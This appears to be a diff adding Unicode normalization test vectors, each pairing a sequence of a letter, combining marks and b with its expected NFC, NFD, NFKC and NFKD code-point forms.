+{ source: [0x0061, 0x1D187, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D187, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D188, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D188, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D188, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D188, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D188, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D189, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D189, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D189, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D189, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D189, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D18A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D18A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D18A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D18B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D18B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D18B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D18B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D1AD, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D1AD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D1AD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D1AD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D1AD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D242, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D242, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D242, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D242, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D242, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D243, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D243, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D243, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D243, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D243, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D244, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D244, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D244, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D244, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D244, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E000, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E000, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E000, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E000, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E000, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E001, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E001, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E001, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E001, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E001, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E002, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E002, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E002, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E002, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E002, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E003, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E003, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E003, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E003, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E003, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E004, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E004, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E004, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E004, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E004, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E005, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E005, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E005, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E005, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E005, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E006, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E006, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E006, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E006, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E006, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E008, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E008, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E008, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E008, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E008, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E009, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E009, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E009, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E009, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E009, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E00F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E00F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E00F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E00F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E00F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E010, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E010, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E010, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E010, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E010, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E011, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E011, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E011, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E011, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E011, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E012, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E012, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E012, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E012, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E012, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E013, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E013, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E013, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E013, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E013, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E014, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E014, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E014, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E014, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E014, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E015, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E015, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E015, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E015, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E015, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E016, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E016, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E016, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E016, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E016, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E017, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E017, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E018, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062] },
